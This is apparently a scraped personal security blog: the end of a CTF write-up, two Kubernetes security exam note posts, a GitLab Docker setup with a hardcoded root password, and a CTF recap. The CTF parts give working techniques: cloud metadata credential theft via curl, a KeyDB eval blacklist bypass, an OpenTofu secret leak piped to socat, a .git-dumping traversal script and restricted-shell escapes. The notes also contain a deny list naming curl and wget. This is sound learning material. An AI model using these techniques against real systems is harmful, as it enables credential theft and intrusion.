/etc/systemd/system/aws-configure.service\nContents:\n[Unit] Description=Service to Connect to Remote EC2 Instance via IP Address After=network.target [Service] ExecStart=/tmp/connect_to_ec2.sh 52.6.102.237 ExecReload=/bin/kill -HUP $MAINPID ExecStop=/bin/kill -WINCH $MAINPID Restart=on-failure User=Magni WorkingDirectory=/home [Install] WantedBy=multi-user.target A custom systemd service that connects out to a specific EC2 instance by IP.\nPinging that IP goes nowhere, but it\u0026rsquo;s the only lead available. So instead, try pulling its instance metadata.\nThat means pointing requests at the metadata service address: 169.254.169.254\nWhat is 169.254.169.254 address ? These are dynamically configured link-local addresses. They are only valid on a single network segment and are not to be routed. Of particular note, 169.254.169.254 is used in AWS, Azure, GCP and other cloud computing platforms to host instance metadata service. Part VI: Getting the flag; # From here it\u0026rsquo;s a straight run to the flag:\ncurl -s http://\u0026lt;ec2-ip-address\u0026gt;/latest/meta-data/iam/security-credentials/ -H \u0026#39;Host:169.254.169.254\u0026#39; curl http://\u0026lt;ec2-ip-address\u0026gt;/latest/meta-data/iam/security-credentials/\u0026lt;ec2-role-name\u0026gt; -H \u0026#39;Host:169.254.169.254\u0026#39; ​aws configure --profile Magni ​aws_session_token = \u0026lt;session-token\u0026gt; ​aws s3 ls --profile Magni aws s3 cp s3://vanaheim55/flag.txt . --profile Magni FLAG: PWNSEC{d347h_c4n_h4v3_m3_wh3n_17_34rn5_m3_68234}\n","date":"17 November 2024","externalUrl":null,"permalink":"/posts/pwnsec-ctf-2k24/","section":"Posts","summary":"","title":"PwnSec-CTF 2k24","type":"posts"},{"content":"","date":"17 November 2024","externalUrl":null,"permalink":"/tags/security/","section":"Tags","summary":"","title":"Security","type":"tags"},{"content":"Part II of the CKS notes, picking up straight from part I — read that first if you haven\u0026rsquo;t.\nSupply chain security; # Image Footprint # Reduce footprint by using multistage dockerfile. This will eventually reduce the size of our final image. # build stage (0) FROM ubuntu ARG DEBIAN_FRONTEND=noninteractive RUN apt-get update \u0026amp;\u0026amp; apt-get install -y golang-go COPY app.go . RUN CGO_ENABLED=0 go build app.go # runtime stage FROM alpine COPY --from=0 /app . CMD [\u0026#34;./app\u0026#34;] We can make this more secure by; using a specific versions of images. (stay away from latest/default). A avoiding runing with the root container. B make fs RO. C remove shell access D FROM ubuntu ARG DEBIAN_FRONTEND=noninteractive RUN apt-get update \u0026amp;\u0026amp; apt-get install -y golang-go COPY app.go . RUN CGO_ENABLED=0 go build app.go # runtime stage FROM alpine:3.12.1 (A) RUN chmod a-w /etc (C) RUN addgroup -S appgroup \u0026amp;\u0026amp; adduser -G appgroup -h /home/appuser (B) RUN rm -fr /bin/* (D) COPY --from=0 /app /home/appuser/ USER appuser (B) CMD [\u0026#34;/home/appuser/app\u0026#34;] Image Vulnerability Scanning # Containers that contains exploitable packages are a problem, this could result in privesc, data leaks, ddos etc..\nKeeping an eye on your image safety is very important, so is good to do a check during the build and run time. (scan the registry when image is pushed, enforce at deploy time using OPA).\ntools;\nClair: opensorce vuln assessment tool, CNCF supported. trivy: simple to use, one cmd to run it; $ docker run ghcr.io/aquasecurity/trivy:latest image nginx\nStatic Analysis # look at the source code and text files and parses them to check against rules and later enforce them, eg; define requests \u0026amp; limits never use sa default never store sensitive data in plain text in dockerfiles or k8s resources. When to do the SA? for a good coverage it is recommened to do it; before commiting before build during test phase at the deploy phase using admission controller like OPA. Manual approach; Simply by going through the source code and the text files. Tools; kubesec.io; opensource does a score and recommend improvements simple to use; docker run -i kubesec/kubesec:512c5e0 scan /dev/stdin \u0026lt; ./pod.yaml OPA conftest; Used against dockerfiles\nOffered by OPA (uses same languge rego).\nrun using the followin cmd; docker run --rm -v $(pwd):/project openpolicyagent/conftest test Dockerfile --all-namespaces\nexamples;\n# from https://www.conftest.dev package main denylist = [ \u0026#34;ubuntu\u0026#34; ] deny[msg] { input[i].Cmd == \u0026#34;from\u0026#34; val := input[i].Value contains(val[i], denylist[_]) msg = sprintf(\u0026#34;unallowed image found %s\u0026#34;, [val]) } --- package commands denylist = [ \u0026#34;apk\u0026#34;, \u0026#34;apt\u0026#34;, \u0026#34;pip\u0026#34;, \u0026#34;curl\u0026#34;, \u0026#34;wget\u0026#34;, ] deny[msg] { input[i].Cmd == \u0026#34;run\u0026#34; val := input[i].Value contains(val[_], denylist[_]) msg = sprintf(\u0026#34;unallowed commands found %s\u0026#34;, [val]) } Secure Supply Chain # Secure supply chain helps us ensure that the images, libs, and other dependencies we use are safe and free from vulnerabilities.\nK8S \u0026amp; Container Regisitires; # PrivateRegistires; create a docker-registry secret in kubernetes and then associate the imagePullSecrets to the SA.\nContainer images can be run using image digest instead of a tag. e.g;\ncontainerStatuses: - containerID: containerd://87cf84840ab758c375988491da7e71bb8c78ea435d92ccb41fe05aae19d62eae image: k8s.gcr.io/kube-apiserver:v1.20.2 imageID: sha256:3ad0575b6f10437a84a59522bb4489aa88312bfde6c766ace295342bbc179d49 AllowList Registries w/OPA; # You could use OPA to limit images to specific repos.\nConstraint Templates;\napiVersion: templates.gatekeeper.sh/v1beta1 kind: ConstraintTemplate metadata: name: k8strustedimages spec: crd: spec: names: kind: K8sTrustedImages targets: - target: admission.k8s.gatekeeper.sh rego: | package k8strustedimages #if all conds are true, then violation is thrown \u0026amp;\u0026amp; the pod creation is denied. violation[{\u0026#34;msg\u0026#34;: msg}] { image := input.review.object.spec.containers[_].image not startswith(image, \u0026#34;docker.io/\u0026#34;) not startswith(image, \u0026#34;k8s.gcr.io/\u0026#34;) msg := \u0026#34;not trusted image!\u0026#34; } apiVersion: constraints.gatekeeper.sh/v1beta1 kind: K8sTrustedImages metadata: name: pod-trusted-images spec: match: kinds: - apiGroups: [\u0026#34;\u0026#34;] kinds: [\u0026#34;Pod\u0026#34;] ImagePolicyWebhook; # ApiServer ↔ AdmissionContollers ↔ ImagePolicyWebhook ↔ External Service\nImagePolicyWebhook creates a kind of ImageReview which can be assessed by an external tool as part of an admission workflow.\nYou can enable the imagePolicyWebhook via the kube-api manifest;\n--enable-admission-plugins=ImagePolicyWebhook Create a directory to hold the admission config, e.g. /etc/kubernetes/admission. --admission-control-config-file=path-to-admission-config. add hostPath and volumeMount to mount the admissionDir so all your config files are available within the container. apiVersion: apiserver.config.k8s.io/v1 kind: AdmissionConfiguration plugins: - name: ImagePolicyWebhook configuration: imagePolicy: kubeConfigFile: /etc/kubernetes/admission/kubeconf allowTTL: 50 denyTTL: 50 retryBackoff: 500 defaultAllow: false # important: if `true`, then if policy webhook can\u0026#39;t be reached will just allow the image. kubeconf e.g;\napiVersion: v1 kind: Config # clusters refers to the remote service. clusters: - cluster: certificate-authority: /etc/kubernetes/admission/external-cert.pem # CA for verifying the remote service. server: https://external-service:1234/check-image # URL of remote service to query. Must use \u0026#39;https\u0026#39;. name: image-checker contexts: - context: cluster: image-checker user: api-server name: image-checker current-context: image-checker preferences: {} # users refers to the API server\u0026#39;s webhook configuration. users: - name: api-server user: client-certificate: /etc/kubernetes/admission/apiserver-client-cert.pem # cert for the webhook admission controller to use client-key: /etc/kubernetes/admission/apiserver-client-key.pem # key matching the cert Monitoring, Logging \u0026amp; Runtime Security; # Immutability of containers at runtime # Immutability means the container won’t be modified during its lifetime. (u always know the state).\nWorking with immutable containers offers a more reliable/stable workload, easy rollback, and a better security.\nto enfore the immutability;\nremove shells from the image. set readOnlyRootFilesystem to true. Make sure to runAsNonRoot. If you don’t have control on the container then;\nuse startipProbe to remove shells on the way up. use of securityContext. #e.g. startupProbe spec: containers: - image: nginx name: pod resources: {} startupProbe: exec: command: - rm - /bin/bash initialDelaySeconds: 5 periodSeconds: 5 #e.g. securityContenxt spec: containers: - image: httpd name: immutable resources: {} securityContext: readOnlyRootFilesystem: true #if u want to write to a dir, then u\u0026#39;hv to create an emptyDir{} vol nd mount it. Behavioral Analytics at host and container level # kube admins should keep an eye on potential malicious activity. this can be done manually by loggin into the cluster nodes and observing host and contianer level process, or by using tools like falco. behavioral analytics is the process of observing the cluster nodes for any activity that seems malicious. an automated process can be helpful with filtering, recording, and alerting events of specific interest. (falco,trace,tetragon) so what is falco? Cloudnative runtime security tool uses deep kernel tracing to detect bad behavior and automate response to any violations. Falco arch; Falco deploys a set of rules (sensor) that maps an event to a data source. Falco allows enabling more tha one output channel simultaneously. # /etc/falco/falco_rules.yaml #to edit the output of logs go /etc/falco/falco.yaml - rule: shell_in_container desc: notice shell activity within a container condition: evt.type = execve and evt.dir=\u0026lt; and container.id != host and proc.name = bash output: shell in a container (user=%user.name container_id=%container.id container_name=%container.name ↵ shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: WARNING # journalctl -uxef falco Auditing # Why?\nWhat event occurred and by who? Debugging apps/crds. Audit;\nPolicy; Defines the type of event and the corresponding request data to be recorded. Backend; Responsible for storing the recorded audit events as defined by the audit policy. Writes events to a file. Triggeres a webhook which sends the events to an external service via HTTP(S) for a centralized logging and monitoring system. apiVersion: audit.k8s.io/v1 kind: Policy omitStages: #Prevents generating logs for all requests in this stage. - \u0026#34;RequestReceived\u0026#34; rules: - level: RequestResponse #Logs pod changes at ReqRes levle resources: - group: \u0026#34;\u0026#34; resources: [\u0026#34;pods\u0026#34;] - level: Metadata #Logs Pod events at the metadata level e.g log and status req (user,timestamp, res,verb) but not the req/rep body. namespace: [\u0026#34;dev\u0026#34;] resources: - group: \u0026#34;\u0026#34; resources: [\u0026#34;pods/log\u0026#34;, \u0026#34;pods/status\u0026#34;] To enable auditing, you will have to; spec: containers: - command: - kube-apiserver - --audit-policy-file=/etc/kubernetes/x.yml - --audit-log=x.log=/var/log/kubernetes/y.log - --audit-log-maxsize=500 - --audit-log-maxbackup=5 ... volumeMounts: - mountPath: /etc/kubernetes/x.yml name: audit-policy readOnly: true volumeMounts: - mountPath: /var/log/kubernetes/ name: audit-log readOnly: false ... volumes: - name: audit-policy hostPath: path: /etc/kubernetes/x.yml type: File - name: audit-policy hostPath: path: /var/log/kubernetes type: DirectoryOrCreate Kernel Hardening Tools # Apps/Process running inside of a container can mae system calls. for e.g. a curl command that performs a http request.\ncurl → libs → seccomp/apparmor → syscall → os kernel → hw.\na syscall is a programmatic abstraction running in the userspace for requesting a service from a kernel.\nAppArmor;\nAn additional security layer between the app invoked in the user space and the uderlying system functionality.\ncreates various profiles to allow/restrict what an app can do to fs,ps,networks etc..\nunconfined → Allow escape complain → process can escape but log. enforce → no escape cmds;\naa-status → list loaded profiles. apparmor_parser -q /path/to/profile → load an aa profile. aa-logprof → scans log files for apparmor events ot covered by a profile. #AppArmor in k8s #before annotations: container.apparmor.security.beta.kubernetes.io/aa-pod: localhost/docker-nginx ... #settings in sc securityContext: AppArmorProfile: type: Localhost localhostProfile: docker-nginx Seccomp;\nstands to secure computing, used to sandbox the privileges of a process. restricts the calls made from the userspace into the kernel space. Originally allows 4x calls [”exit()”,”sigreturn()”,”read()”,”write()”]. ... spec: securityContext: seccompProfile: type: Localhost localhostProfile: default.json Reduce Attack Surface # What is an attack surface?\napps should be kept uptodate, unneeded packages should be removed. networks; close ports, keep everything behind a firewamm. iam - restrict user perms. don’t run as root. lot of services = more attack surface Within kubernetes;\nrun k8s components only. keep all the workload ephermal. create from images So what to do?\nDisable, and stop unecessary services. systemctl, service. e.g systemctl list-units -t service --state=running Close Ports lsof, netstat, ss Delete packages apt remove, search. The exam changed after I took it, so a few of these topics may no longer be on it. It also picked up new ones, including:\nSBOMs: Software Bill of Materials. Network Policies: pod-to-pod encryption via Cilium. Linting: using kubeLinter. That\u0026rsquo;s the series. Good luck on the exam.\nReferences:\nKubernetes.io Falco OPA cillium kubesec.io trivy ","date":"15 September 2024","externalUrl":null,"permalink":"/posts/cks-part-ii/","section":"Posts","summary":"","title":"Certified Kubernetes Security Specialist PART II","type":"posts"},{"content":"","date":"15 September 2024","externalUrl":null,"permalink":"/tags/certs/","section":"Tags","summary":"","title":"Certs","type":"tags"},{"content":"","date":"15 September 2024","externalUrl":null,"permalink":"/tags/cks/","section":"Tags","summary":"","title":"Cks","type":"tags"},{"content":"","date":"15 September 2024","externalUrl":null,"permalink":"/tags/kubernetes/","section":"Tags","summary":"","title":"Kubernetes","type":"tags"},{"content":"These are my notes from prepping for the CKS exam, kept high-level rather than exhaustive on every topic. This is part I of the series, and I\u0026rsquo;ll keep adding to it as I go.\nIt\u0026rsquo;s a performance-based exam: 2 hours, 15-20 questions, 66% to pass, and it actually tests whether you can secure a cluster rather than just describe how to.\nMore detail lives on the CNCF website if you\u0026rsquo;re weighing whether to take it:\nCNCF WEBSITE For prep, Kim\u0026rsquo;s course on YouTube is worth your time, and Killercoda\u0026rsquo;s CKS scenarios cover the exam\u0026rsquo;s full topic list.\nCluster Setup; # GUI Elements; # Only expose externally when necessary. or just use kubectl port-forward. kubectl proxy; Establish proxy connection between localhost and the api server. (uses kubeconfig to communicate with the api server). Allows access to api locally over http. localhost -\u0026gt; kubectl proxy -\u0026gt; kubectl (https) -\u0026gt; k8s api kubectl port-forward; maps the localhostPort to the podPort. localhost -\u0026gt; kubectl port-forward -\u0026gt; kubectl -\u0026gt; apiserver -\u0026gt; podPort Install and expose the kube dashboard externally (not recommended). root@localhost:~ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.3.1/aio/deploy/recommended.yaml root@localhost:~ k get pod,svc -n kubernetes-dashboard #for external access add the following line \u0026#34;--insecure-port=9090\u0026#34; to the arg inside the deployment root@localhost:~ k edit -nkubernetes-dashboard dashboard \u0026#34;spec: containers: - args: - --namespace=kubernetes-dashboard - --insecure-port=9090 image: kubernetesui/dashboard:v2.3.1\u0026#34; #Patch the service type to nodePort. ⇒ You should now be able to reach the dashboard.\nNetwork Policies; # By default, pods aren\u0026rsquo;t isolated at all. Every pod can talk to every other pod. Network Policies are how you fix that:\nThink of them as firewall rules for Kubernetes. Implemented by CNIs. Namespace-scoped. Allow/Deny (ingress/egress) traffic for pods based on specific criteria. kind: NetworkPolicy metadata: name: \u0026#39;example\u0026#39; namespace: \u0026#39;default\u0026#39; # \u0026lt;-- policy applies to this namespace spec: podSelector: matchLabels: id: \u0026#39;frontend\u0026#39; # \u0026lt;-- applied to these pods as the SUBJECT/TARGET policyTypes: - Egress egress: # RULE 1. - to: # to AND ports i.e. id=ns1 AND port=80 - namespaceSelector: matchLabels: id: \u0026#39;ns1\u0026#39; ports: - protoco: \u0026#39;TCP\u0026#39; port: 80 # RULE 2. - to: - podSelector: matchLabels: id: \u0026#39;backend\u0026#39; # \u0026lt;-- applies to these pods in SAME namespace where the policy lives, unless otherwise specified with a `namespaceSelector` label here. Deny all ingress/egress traffic.\napiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny namespace: default spec: podSelector: {} policyTypes: - Egress - Ingress Make sure to leave DNS port 53TCP/UDP open for address resolution. Secure Ingress; # Ingress is a single entry point into the cluster, that you can configure to route to different services within your cluster based on the URL path, and SSL termination. Basically a Layer 7 Load Balancer managed within the cluster**.** Once you create the resource object, an nginx config is generated inside the nginx-controller pod which then manages the routing rules. apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: minimal-ingress annotations: nginx.ingress.kubernetes.io/rewrite-target: / spec: tls: - hosts: - secure-ingress.com secretName: secure-ingress rules: - http: paths: - path: /testpath pathType: Prefix backend: service: name: test port: number: 80 # curl -vk https://secure-ingress.com:31926/service2 --resolve secure-ingress.com:31926:35.244.67.113 Node Metadata Protection; # metadata service run by provider and reachable from the VMs. Can house sensitive data like kubelet creds. Create NP to restrict access. root@cks-master:~# curl \u0026#34;http://metadata.google.internal/computeMetadata/v1/instance/disks/\u0026#34; -H \u0026#34;Metadata-Flavor: Google\u0026#34; 0/ root@cks-master:~ cat \u0026lt;\u0026lt; EOF kubectl apply -f - apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: cloud-metadata-deny namespace: default spec: podSelector: {} policyTypes: - Egress egress: - to: - ipBlock: cidr: 0.0.0.0/0 except: - 169.254.169.254/32 EOF CIS Benchmarks; # The CIS (Center for Internet Security) publishes secure configuration guidelines for a long list of platforms and systems, Kubernetes included. Follow the PDF guideline by hand, or download and run the benchmark binary. Tools like kube-bench scan your cluster against those benchmarks and flag any misconfiguration. Cluster Hardening; # Role Based Access Control; # RBAC is the use of (Cluster)Roles, (Cluster)RoleBindings, and Service Accounts to shape granular access to Kubernetes resources.\nRoles defines the permissions at the namespace level, whereas clusterroles defines the permissions at the cluster level.\n(Cluster)RoleBinding defines who gets them.\nValid combinations\nRole Type Binding Type Scope Role RoleBinding Namespaced clusterRole clusterRoleBinding Cluster-wide clusterRole roleBinding Namespaced Example;\n# Create a role $ k -n red create role secret-manager --verb=get --resource=secrets -oyaml --dry-run=client # Create a clusterRole $ k -n red create rolebinding secret-manager --role=secret-manager --user=jane -oyaml --dry-run=client # check permissions k auth can-i \u0026lt;verb\u0026gt; \u0026lt;resources\u0026gt; --as \u0026lt;user/sa\u0026gt; Service Accounts \u0026amp; Users; # Users; # Kubernetes doesn’t manage users, instead you create a certificate \u0026amp;\u0026amp; key for a specific user and assign the necessary permissions using RBAC. openssl csr from user create csr resource to k8s api k8s-api signs the csr with ca crt is then available to download =\u0026gt; 🔒 The user\u0026rsquo;s \u0026ldquo;client cert\u0026rdquo; must be signed by the k8s CA, and the username is whatever sits under the /CN=*username* part of the cert.\nIt is important to know that there is no way to invalidate a cert, once created, stays valid. Hence, if cert is leaked then either remove all access via RBAC, 2/ create new CA and re-issue all certs. Service Accounts; # ServiceAccounts are used by bots,pods created by the k8s API. By default, there is a default service account created on every namespace. which is then automounted to every new created pods. You can disable automounting of a ServiceAccount automountServiceAccountToken: false. Restrict API access; # When a request is made to the k8s-api, it goes through the following:\nWho are you? → Authentication\nWhat are you allowed to do? → Authorization\nAdmission controller (validating/mutating webhooks) These requests are treated as;\nA normal user\nA serviceAccount\nAnonymous access. to disable anonymous access, set the --anonymous-authflag to false with the kubelet manifest. the --insecure-port is set to 0 by default, which disables the insecure port. (only bypasses AuthN and AuthZ mods). Do’s;\nDon’t allow anonymous access/insecure port. (anonymous-access is needed since liveness pods need it for calling k8s api anonymously). Don’t expose ApiServer to the internet. Restrict access from node. (nodeRestriction). k config view --raw to view the config file. (\u0026ndash;embed-certs for a cleaner output).\nNodeRestriction Admission Controller;\nA common reason to enable the NodeRestriction admission plugin is to prevent the worker node from labeling the master node. to do that, you have to add the following argument to the kubeapi manifest file. --enable-admission-plugins=NodeRestriction. Microservices vulnerabilities; # Manage Kubernetes Secrets; # Encrypt ETCD at rest;\nThe only component allowed to talk to ETCD is kube-api, hence it is responsible for encrypt/decrypt in this flow. To enable encryption at rest for a specific resource create a new api object with kind EncryptionConfiguration. # generate a key using the following command $( head -c 32 /dev/urandom | base64) apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration resources: - resources: - secrets providers: - aescbc: keys: - name: key1 secret: ffGddeJabcKMocX07jGu1hcL8bdggjH2PSIs24= - identity: {} #this is important to get etcd working with unencrypted secrets #update the kube-apiserver.yaml manifest to include the provider config: #add the arg spec: containers: - command: - kube-apiserver - --encryption-provider-config=/etc/kubernetes/etcd/encEtcd.yaml #add the volume mount; ... volumeMounts: - mountPath: /etc/kubernetes/etcd name: etcd # add volume; volumes: - hostPath: path: /etc/kubernetes/etcd type: DirectoryOrCreate name: etcd if you need to troubleshoot you can go through the logs within the /var/log/pods dir. Container runtimes sandboxing; # Containers are run on a shared kernel, which enables us to execute syscalls (api-like to com w/kernel) that allow us to access other containers. Sandboxes in the security context is an additional layer to ensure isolation. Sandboxes come at a price: more resource overhead, and they\u0026rsquo;re rough on heavy syscall workloads. kata containers; # container runtime sandbox (Hypervisor/VM based). gVisor; # a userspace kernel for containers from google. Interrupts to limit the syscalls sent by the user (app1↔syscalls↔gvisor↔limited syscalls↔host kernel ↔hw) apiVersion: node.k8s.io/v1 # RuntimeClass is defined in the node.k8s.io API group kind: RuntimeClass metadata: # RuntimeClass is a non-namespaced resource name: gvisor # The name the RuntimeClass will be referenced by handler: runsc # The name of the corresponding CRI configuration --- ... kind: Pod #Next time you create a new pod make sure to include the runtimeClassName spec: runtimeClassName: gvisor containers: .. OS level domains; # Pod Security Context; # controls uid,gi at the pod/container level. spec: #pod level securityContext: runAsUser: 1000 runAsGroup: 3000 containers: - command: ... ... #container level securityContext: runAsNonRoot: true dnsPolicy: ClusterFirst Privileged; # maps container user with the host user (root). enable w/docker d run --privileged spec: containers: - command: ... ... securityContext: privileged: true Privilege Escalation; # by default, k8s allows privesc via allowPrivilegeEscalation, to disable set to false within the securityContext field. spec: containers: - command: ... ... securityContext: allowPrivilegeEscalation: false Pod Security Policies; # Enable via kube-apiserver manifest file --enable-admission-plugins=NodeRestriction,PodSecurityPolicy. apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: default spec: privileged: false # Don\u0026#39;t allow privileged pods! allowPrivilegeEscalation: false # added # The rest fills in some required fields. seLinux: rule: RunAsAny supplementalGroups: rule: RunAsAny runAsUser: rule: RunAsAny fsGroup: rule: RunAsAny volumes: - \u0026#39;*\u0026#39; if psp is enabled, then it will be enforced on all resources. but the creator of the resource requires to see this default psp to use it. a common approach to solve the problem (when creating a deploy is failed cuz the deploy resource doesn’t have admin perms to read the psp to create the resource) is to give the default sa to the psp. k create role psp-access --verb=use --resource=podsecuritypolicies k create rolebinding psp-access --role=psp-access --serviceaccount=default:default mTLS; # mutual auth pod2pod encrypted communication both apps have client+server certs to communicate. Service Meshes; # manage all the certs between pods. decouple our app container from the auth/cert workload. all traffic is routed through a proxy/sidecar. ⇒ These routes are created via iptable rules. the sidecar needs the NET_ADMIN cap.\napiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: run: app name: app spec: containers: - command: - sh - -c - ping google.com image: bash name: app resources: {} - command: - sh - -c - \u0026#39;apt-get update \u0026amp;\u0026amp; apt-get install -y iptables \u0026amp;\u0026amp; iptables -L \u0026amp;\u0026amp; sleep 1d\u0026#39; securityContext: capabilities: add: [\u0026#34;NET_ADMIN\u0026#34;] #important for the proxy container image: ubuntu name: proxy resources: {} dnsPolicy: ClusterFirst restartPolicy: Always status: {} Part II picks up from here with the more advanced topics.\nContinue to Part II →\n","date":"29 August 2024","externalUrl":null,"permalink":"/posts/cks-part-i/","section":"Posts","summary":"","title":"Certified Kubernetes Security Specialist PART I","type":"posts"},{"content":"Self-hosted GitLab CE plus a runner, both in Docker, no manual setup beyond docker compose up. Here\u0026rsquo;s the compose file I use:\nversion: \u0026#39;3.8\u0026#39; services: gitlab-server: image: \u0026#39;gitlab/gitlab-ce:latest\u0026#39; container_name: gitlab-server ports: - \u0026#39;8000:8000\u0026#39; environment: GITLAB_ROOT_EMAIL: \u0026#34;chxmxii.ctf@gmail.com\u0026#34; GITLAB_ROOT_PASSWORD: \u0026#34;v3ryl0ng\u0026amp;\u0026amp;secur3p455w0rd\u0026#34; GITLAB_OMNIBUS_CONFIG: | external_url \u0026#39;http://localhost:8000\u0026#39; nginx[\u0026#39;listen_port\u0026#39;] = 8000 volumes: - ./gitlab/config:/etc/gitlab - ./gitlab/data:/var/opt/gitlab gitlab-runner: image: gitlab/gitlab-runner:alpine container_name: gitlab-runner network_mode: \u0026#39;host\u0026#39; volumes: - /var/run/docker.sock:/var/run/docker.sock docker compose up -d Access # GitLab comes up at http://localhost:8000. Log in with the email and password from the compose file above.\nRegistering the runner # Register it with:\ndocker exec -it gitlab-runner gitlab-runner register It\u0026rsquo;ll walk you through a few prompts:\nGitLab instance URL: http://localhost:8000 Registration token: You can find this in GitLab under Admin Area \u0026gt; Runners Description: Any label for this runner (e.g., local-runner) Tags: Optional tags (e.g., docker) Executor: Choose docker and set a default image (e.g., alpine:latest) Once that\u0026rsquo;s done, the runner starts picking up jobs from GitLab.\n","date":"6 August 2024","externalUrl":null,"permalink":"/posts/gitlab-in-docker/","section":"Posts","summary":"","title":"GID - Gitlab in Docker","type":"posts"},{"content":" Overview # First post in a short series on the homelab I run on top of Kubernetes.\nchxmxii/kubegoros home-grade multi k8s cluster deploymenet using ArgoCD, Ansible, and Kubeadm. Jinja 8 0 ","date":"6 August 2024","externalUrl":null,"permalink":"/posts/homelab/","section":"Posts","summary":"","title":"just a homelab - part 1","type":"posts"},{"content":"","date":"6 August 2024","externalUrl":null,"permalink":"/tags/perso/","section":"Tags","summary":"","title":"Perso","type":"tags"},{"content":" Intro; # Last weekend we ran a local CTF at TEKUP University: 30+ custom-authored challenges, 50+ teams, 140+ players. The feedback afterward was good. People actually enjoyed the challenges, which isn\u0026rsquo;t a given.\nAbout; # Event place: TEKUP University. Event duration: 14hrs. Flag format: Securinets{.*}. Challenges; # I authored six of the Misc challenges, most of them jail-oriented. Here\u0026rsquo;s the breakdown:\nChallenge Points Solves Author Siclodb 500 1 chxmxii Openheimer 440 6 chxmxii bolbok 470 4 chxmxii ekko 494 7 chxmxii heimerdigger 146 18 xhlayel, chxmxii Siclodb; # This one was tricky by design. I blacklisted several KeyDB functions so players couldn\u0026rsquo;t pull the flag key directly. The twist: most people didn\u0026rsquo;t realize you could still run eval() in the KeyDB console, or fall back to redis.call() instead of KeyDB.call(). KeyDB is a Redis fork, so the old Redis commands still work under the hood. The winning payload looked like this:\n$ eval \u0026#34;local a=\u0026#39;du\u0026#39;; a=a..\u0026#39;mp\u0026#39;;local b=\u0026#39;fl\u0026#39;;b=b..\u0026#39;ag\u0026#39;; local k=redis.call(a, b); return k;\u0026#34; 0 $ eval \u0026#34;local a=\u0026#39;ge\u0026#39;; a=a..\u0026#39;t\u0026#39;;local b=\u0026#39;fl\u0026#39;;b=b..\u0026#39;ag\u0026#39;; return cjson.encode(redis.call(a, b))\u0026#34; 0 Openheimer; # Quick context if you haven\u0026rsquo;t run into it: OpenTofu is a community fork of Terraform, born out of a licensing dispute that split the IaC world in two. I built this challenge to put it in front of people. Players connect to a live OpenTofu console and have to figure out how to leak the secrets.\nOne way in:\nnonsensitive(urlencode(var.SECRET)) | socat - TCP:localhost:13337 For more; https://opentofu.org/docs/language/functions/nonsensitive/ Ekko; # Two API endpoints: one lists directories, one reads files. Hence the description: \u0026ldquo;ls \u0026amp;\u0026amp; cat made easy.\u0026rdquo; Here\u0026rsquo;s the solve:\nfrom os import listdir, path import requests, re, zlib\\ url = \u0026#34;https://ekko.securinets-tekup.tech/\u0026#34; commit_list = [] request = requests.get(url + \u0026#34;ls?q=...git/objects\u0026#34;) objects = re.findall(\u0026#34;\\w+\u0026#34;, request.text) if request.status_code == 200: for obj in objects: get_commit = requests.get(url + \u0026#34;ls?q=...git/objects/\u0026#34; + obj + \u0026#34;/\u0026#34;) commits = re.findall(\u0026#34;\\w+\u0026#34;, get_commit.text) for commit in commits: get_blob = requests.get(url + \u0026#34;cat?q=...git/objects/\u0026#34; + obj + \u0026#34;/\u0026#34; + commit) with open(commit + \u0026#34;.zlib\u0026#34;, \u0026#34;wb\u0026#34;) as f: f.write(get_blob.content) for blob in listdir(\u0026#34;.\u0026#34;): with open(blob, \u0026#34;rb\u0026#34;) as f: blob_content = f.read() f.close() try: decompressed_blob = zlib.decompress(blob_content) except zlib.error as e: print(f\u0026#34;Zlib error: {e}\u0026#34;) flag = re.search(\u0026#34;Securinets.*\u0026#34;, str(decompressed_blob)) if flag: print(flag.group()) Bolbok # Players landed in a restricted rbash shell with a short list of allowed commands, and the flag sat in a directory with a name designed to blend in. Anyone comfortable with ls and grep could still find it fast:\nls -Ra / | grep flag -B3 \u0026lt;path\u0026gt;: . .. .flag Reading it inside a restricted shell was the actual puzzle:\necho $(\u0026lt; \u0026lt;path\u0026gt;/.flag) Securinets{FLAG} OR while read line; do echo $line; done \u0026lt; \u0026lt;path\u0026gt;/.flag Securinets{FLAG} Heimerdigger; # The task: dig through Docker layers and recover the deleted files. One of them hinted at how to fix a corrupted JPG: f(byte) = (15 - byte) modulos 256.\ndef transform_file(input_image_path, output_image_path): with open(input_image_path, \u0026#39;rb\u0026#39;) as input_file: data = input_file.read() modified_data = bytearray((15 - byte) % 256 for byte in data) with open(output_image_path, \u0026#39;wb\u0026#39;) as output_file: output_file.write(modified_data) print(\u0026#34;Modified image saved to:\u0026#34;, output_image_path) # Usage input_image_path = \u0026#34;./01946.jpg\u0026#34; output_image_path = \u0026#34;./heimer.jpg\u0026#34; transform_file(input_image_path, output_image_path) Das Ende; # Thanks to everyone who made the event happen: Securinets TEKUP, the participants, and TEKUP University for hosting. Challenge files and more writeups live in my GitHub repo:\nchxmxii/CTF Collection of CTF challenges I authored. Python 1 0 ","date":"5 May 2024","externalUrl":null,"permalink":"/posts/cybertek-ctf-2k24/","section":"Posts","summary":"","title":"CyberTEK-CTF 2k24","type":"posts"},{"content":"Passed the CKA exam and figured the notes were worth sharing. They started life in my note-taking app, so I exported them and converted everything to markdown for here.\nView Notes ","date":"10 February 2024","externalUrl":null,"permalink":"/posts/cka/","section":"Posts","summary":"","title":"Certified Kubernetes Administrator","type":"posts"},{"content":"","date":"20 August 2023","externalUrl":null,"permalink":"/tags/podman/","section":"Tags","summary":"","title":"Podman","type":"tags"},{"content":"EX188 is Red Hat\u0026rsquo;s hands-on container exam, and it\u0026rsquo;s built entirely around Podman. Passed it — notes are below.\nView Notes ","date":"20 August 2023","externalUrl":null,"permalink":"/posts/rhcs-containers/","section":"Posts","summary":"","title":"Red Hat Certified Specialist in Containers","type":"posts"},{"content":"RHCE is hands-on: it checks whether you can actually run Red Hat Enterprise Linux systems with Ansible, not just recite playbook syntax. I passed it recently. Below are the notes I built while prepping, cleaned up enough to be useful to someone else.\nView Notes ","date":"5 January 2023","externalUrl":null,"permalink":"/posts/rhce/","section":"Posts","summary":"","title":"Red Hat Certified 